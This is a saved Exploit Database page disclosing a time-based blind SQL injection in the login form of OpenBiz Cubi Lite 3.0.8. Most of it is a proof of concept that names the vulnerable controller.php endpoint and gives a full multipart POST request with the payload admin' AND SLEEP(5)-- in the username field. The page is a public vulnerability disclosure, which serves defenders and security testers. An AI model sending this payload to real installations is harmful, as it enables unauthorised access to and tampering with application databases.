
EXPLOIT DATABASE

󰠭 EXPLOITS

󰜏 GHDB

󰈤 PAPERS

󰘚 SHELLCODES

󰡦 SEARCH EDB

󰗚 SEARCHSPLOIT MANUAL

󰕒 SUBMISSIONS

󰑴 ONLINE TRAINING

Show details

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about

your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided

to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website.

OK

Do not sell or share my personal information

4/29/26, 12:11 AM OpenBiz Cubi Lite 3.0.8 - 'username' SQL Injection - PHP webapps Exploit

https://www.exploit-db.com/exploits/45801 1/4

https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/google-hacking-database
https://www.exploit-db.com/papers
https://www.exploit-db.com/shellcodes
https://www.exploit-db.com/search
https://www.exploit-db.com/searchsploit
https://www.exploit-db.com/submit
https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www
https://www.cookiebot.com/en/what-is-behind-powered-by-cookiebot/?utm_source=banner_cb&utm_medium=referral&utm_content=v2


OpenBiz Cubi Lite 3.0.8 - 'username' SQL
Injection

EDB Verified:

EDB-ID:
45801

CVE:
N/A

󰅖

Exploit:   /   

Author:
AKKUS

Type:
WEBAPPS

󰇚 󰅩

Vulnerable App:

Platform:
PHP

Date:
2018-11-06
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# Exploit Title: OpenBiz Cubi Lite 3.0.8 - 'username' SQL Injection

# Date: ]2018-11-05

# Exploit Author: Özkan Mustafa Akkuş (AkkuS)

# Contact: https://pentest.com.tr

# Vendor Homepage: https://sourceforge.net/projects/bigchef/

# Software Link: 

https://sourceforge.net/projects/bigchef/files/latest/download

# Version: v3.0.8

# Category: Webapps

# Tested on: XAMPP for Linux 1.7.2

# Description: Cubi Platform login page is prone to an SQL-injection 

vulnerability.

# Exploiting this issue could allow an attacker to compromise the 

application,

# access or modify data, or exploit latent  vulnerabilities in the 

underlying database.

#########################################################

# PoC : SQLi :

# POST : POST

/bin/controller.php?F=RPCInvoke&P0=[user.form.LoginForm]&P1=

[Login]&__this=btn_login:onclick&_thisView=user.view.LoginView&jsrs=1

# Parameter: MULTIPART username ((custom) POST)

     Type: AND/OR time-based blind

     Title: MySQL >= 5.0.12 AND time-based blind

# Payload:

-----------------------------71911072106778878648823492

Content-Disposition: form-data; name="username"

admin' AND SLEEP(5)-- JgaK

-----------------------------71911072106778878648823492

Content-Disposition: form-data; name="password"

password

-----------------------------71911072106778878648823492

Content-Disposition: form-data; name="session_timeout"

Don't save session

-----------------------------71911072106778878648823492

Content-Disposition: form-data; name="session_timeout"

0

-----------------------------71911072106778878648823492

Content-Disposition: form-data; name="current_language"

English ( en_US )

-----------------------------71911072106778878648823492

Content-Disposition: form-data; name="current_language"

en_US

-----------------------------71911072106778878648823492

Content-Disposition: form-data; name="btn_client_login"

-----------------------------71911072106778878648823492--

---

            

Tags: SQL Injection (SQLi) Advisory/Source: Link
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